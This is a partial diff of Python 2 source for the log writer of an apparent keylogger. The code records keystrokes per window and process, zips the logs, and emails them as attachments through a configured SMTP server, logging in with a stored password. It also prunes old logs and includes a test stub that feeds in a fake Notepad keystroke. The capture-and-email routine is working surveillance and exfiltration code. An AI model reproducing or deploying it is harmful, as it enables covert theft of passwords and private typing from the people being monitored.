+ msg['Subject'] = self.settings['E-mail']['SMTP Subject']
+
+ msg.attach( MIMEText(self.settings['E-mail']['SMTP Message Body']) )
+
+ if len(zipFileList) == 0:
+ msg.attach( MIMEText("No new logs present.") )
+
+ if len(zipFileList) > 0:
+ for file in zipFileList:
+ part = MIMEBase('application', "octet-stream")
+ part.set_payload( open(os.path.join(self.settings['General']['Log Directory'], file),"rb").read() )
+ Encoders.encode_base64(part)
+ part.add_header('Content-Disposition', 'attachment; filename="%s"'
+ % os.path.basename(file))
+ msg.attach(part)
+
+ # set up the server and send the message
+ mysmtp = smtplib.SMTP(self.settings['E-mail']['SMTP Server'], self.settings['E-mail']['SMTP Port'])
+
+ if self.cmdoptions.debug:
+ mysmtp.set_debuglevel(1)
+ if self.settings['E-mail']['SMTP Use TLS'] == True:
+ # we find that we need to use two ehlos (one before and one after starttls)
+ # otherwise we get "SMTPException: SMTP AUTH extension not supported by server"
+ # thanks for this solution go to http://forums.belution.com/en/python/000/009/17.shtml
+ mysmtp.ehlo()
+ mysmtp.starttls()
+ mysmtp.ehlo()
+ if self.settings['E-mail']['SMTP Needs Login'] == True:
+ mysmtp.login(self.settings['E-mail']['SMTP Username'], myutils.password_recover(self.settings['E-mail']['SMTP Password']))
+ sendingresults = mysmtp.sendmail(self.settings['E-mail']['SMTP From'], self.settings['E-mail']['SMTP To'].split(";"), msg.as_string())
+ self.PrintDebug("Email sending errors (if any): " + str(sendingresults) + "\n")
+
+ # need to put the quit in a try, since TLS connections may error out due to bad implementation with
+ # socket.sslerror: (8, 'EOF occurred in violation of protocol')
+ # Most SSL servers and clients (primarily HTTP, but some SMTP as well) are broken in this regard:
+ # they do not properly negotiate TLS connection shutdown. This error is otherwise harmless.
+ # reference URLs:
+ # http://groups.google.de/group/comp.lang.python/msg/252b421a7d9ff037
+ # http://mail.python.org/pipermail/python-list/2005-August/338280.html
+ try:
+ mysmtp.quit()
+ except:
+ pass
+
+ # write the latest emailed zip to log for the future
+ if len(zipFileList) > 0:
+ zipFileList.sort()
+ emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'w')
+ emaillog.write(zipFileList.pop())
+ emaillog.close()
+
+ def ZipAndEmailTimerAction(self):
+ '''This is a timer action function that zips the logs and sends them by email.
+
+ deprecated - should delete this.
+ '''
+ self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n")
+ self.ZipLogFiles()
+ self.SendZipByEmail()
+
+ def OpenLogFile(self, event):
+ '''Open the appropriate log file, depending on event properties and settings in .ini file.
+ '''
+ # if the "onefile" option is set, we don't that much to do:
+ if self.settings['General']['One File'] != 'None':
+ if self.writeTarget == "":
+ self.writeTarget = os.path.join(os.path.normpath(self.settings['General']['Log Directory']), os.path.normpath(self.settings['General']['One File']))
+ try:
+ self.log = open(self.writeTarget, 'a')
+ except OSError, detail:
+ if(detail.errno==17): #if file already exists, swallow the error
+ pass
+ else:
+ self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+ return False
+ except:
+ self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+ return False
+
+ #write the timestamp upon opening the logfile
+ if self.settings['Timestamp']['Timestamp Enable'] == True: self.WriteTimestamp()
+
+ self.PrintDebug("writing to: " + self.writeTarget + "\n")
+ return True
+
+ # if "onefile" is not set, we start playing with the logfilenames:
+ subDirName = self.filter.sub(r'__',self.processName) #our subdirname is the full path of the process owning the hwnd, filtered.
+ subDirName = subDirName.decode(sys.getfilesystemencoding())
+
+ WindowName = self.filter.sub(r'__',str(event.WindowName))
+
+ filename = time.strftime('%Y%m%d') + "_" + str(event.Window) + "_" + WindowName + ".txt"
+ filename = filename.decode(sys.getfilesystemencoding())
+
+ #make sure our filename plus path is not longer than 255 characters, as per filesystem limit.
+ #filename = filename[0:200] + ".txt"
+ if len(os.path.join(self.settings['General']['Log Directory'], subDirName, filename)) > 255:
+ if len(os.path.join(self.settings['General']['Log Directory'], subDirName)) > 250:
+ self.PrintDebug("root log dir + subdirname is longer than 250. cannot log.")
+ return False
+ else:
+ filename = filename[0:255-len(os.path.join(self.settings['General']['Log Directory'], subDirName))-4] + ".txt"
+
+
+ #we have this writetarget conditional to make sure we dont keep opening and closing the log file when all inputs are going
+ #into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same
+ #already-opened file.
+ if self.writeTarget != os.path.join(self.settings['General']['Log Directory'], subDirName, filename):
+ if self.writeTarget != "":
+ self.FlushLogWriteBuffers("flushing and closing old log\n")
+ #~ self.PrintDebug("flushing and closing old log\n")
+ #~ self.log.flush()
+ self.log.close()
+ self.writeTarget = os.path.join(self.settings['General']['Log Directory'], subDirName, filename)
+ self.PrintDebug("writeTarget:" + self.writeTarget + "\n")
+
+ try:
+ os.makedirs(os.path.join(self.settings['General']['Log Directory'], subDirName), 0777)
+ except OSError, detail:
+ if(detail.errno==17): #if directory already exists, swallow the error
+ pass
+ else:
+ self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+ return False
+ except:
+ self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+ return False
+
+ try:
+ self.log = open(self.writeTarget, 'a')
+ except OSError, detail:
+ if(detail.errno==17): #if file already exists, swallow the error
+ pass
+ else:
+ self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+ return False
+ except:
+ self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
+ return False
+
+ #write the timestamp upon opening a new logfile
+ if self.settings['Timestamp']['Timestamp Enable'] == True: self.WriteTimestamp()
+
+ return True
+
+ def PrintStuff(self, stuff):
+ '''Write stuff to log, or to debug outputs.
+ '''
+ if not self.cmdoptions.debug and self.log != None:
+ self.log.write(stuff)
+ if self.cmdoptions.debug:
+ self.PrintDebug(stuff)
+
+ def PrintDebug(self, stuff):
+ '''Write stuff to console and/or systemlog.
+ '''
+ if self.cmdoptions.debug:
+ sys.stdout.write(stuff)
+ if self.settings['General']['System Log'] != 'None':
+ self.systemlog.write(stuff)
+
+ def WriteTimestamp(self):
+ self.PrintStuff("\n[" + time.asctime() + "]\n")
+
+ def DeleteOldLogs(self, lastmodcutoff=None):
+ '''Walk the log directory tree and remove old logfiles.
+
+ if lastmodcutoff is not supplied, delete files older than maxlogage, as specified in .ini file.
+
+ if lastmodcutoff is supplied [in seconds since epoch, as supplied by time.time()],
+ instead delete files that were not modified after lastmodcutoff.
+ '''
+
+
+ self.PrintDebug("Analyzing and removing old logfiles.\n")
+ for root, dirs, files in os.walk(self.settings['General']['Log Directory']):
+ for fname in files:
+ if lastmodcutoff == None:
+ testvalue = time.time() - os.path.getmtime(os.path.join(root,fname)) > float(self.settings['Log Maintenance']['Max Log Age'])*24*60*60
+ elif type(lastmodcutoff) == float:
+ testvalue = os.path.getmtime(os.path.join(root,fname)) < lastmodcutoff
+
+ if fname == "emaillog.txt" or fname == "ziplog.txt":
+ testvalue = False # we don't want to delete these
+
+ if type(lastmodcutoff) == float and self.CheckIfZipFile(fname):
+ testvalue = False # we don't want to delete zipped logs, unless running on timer and using maxlogage
+
+ if testvalue:
+ try:
+ os.remove(os.path.join(root,fname))
+ except:
+ self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+ try:
+ os.rmdir(root)
+ except:
+ self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+
+ def GetProcessNameFromHwnd(self, hwnd):
+ '''Acquire the process name from the window handle for use in the log filename.
+ '''
+ threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
+
+ # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
+
+ mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
+ procname = win32process.GetModuleFileNameEx(mypyproc, 0)
+ return procname
+
+ def stop(self):
+ '''To exit cleanly, flush all write buffers, and stop all running timers.
+ '''
+ self.FlushLogWriteBuffers("Flushing buffers prior to exiting")
+ self.flushtimer.cancel()
+ if self.settings['E-mail']['SMTP Send Email'] == True:
+ self.emailtimer.cancel()
+ if self.settings['Log Maintenance']['Delete Old Logs'] == True:
+ self.oldlogtimer.cancel()
+ if self.settings['Timestamp']['Timestamp Enable'] == True:
+ self.timestamptimer.cancel()
+ if self.settings['Zip']['Zip Enable'] == True:
+ self.ziptimer.cancel()
if __name__ == '__main__':
- #some testing code
- #put a real existing hwnd into event.Window to run test
- #this testing code is now really outdated and useless.
- lw = LogWriter()
- class Blank:
- pass
- event = Blank()
- event.Window = 264854
- event.WindowName = "Untitled - Notepad"
- event.Ascii = 65
- event.Key = 'A'
- options = Blank()
- options.parseBackspace = options.parseEscape = options.addLineFeed = options.debug = False
- options.flushKey = 'F11'
- lw.WriteToLogFile(event, options)
-
+ #some testing code
+ #put a real existing hwnd into event.Window to run test
+ #this testing code is now really outdated and useless.
+ lw = LogWriter()
+ class Blank:
+ pass
+ event = Blank()
+ event.Window = 264854
+ event.WindowName = "Untitled - Notepad"
+ event.Ascii = 65
+ event.Key = 'A'
+ options = Blank()
+ options.parseBackspace = options.parseEscape = options.addLineFeed = options.debug = False
+ options.flushKey = 'F11'
+ lw.WriteToLogFile(event, options)
+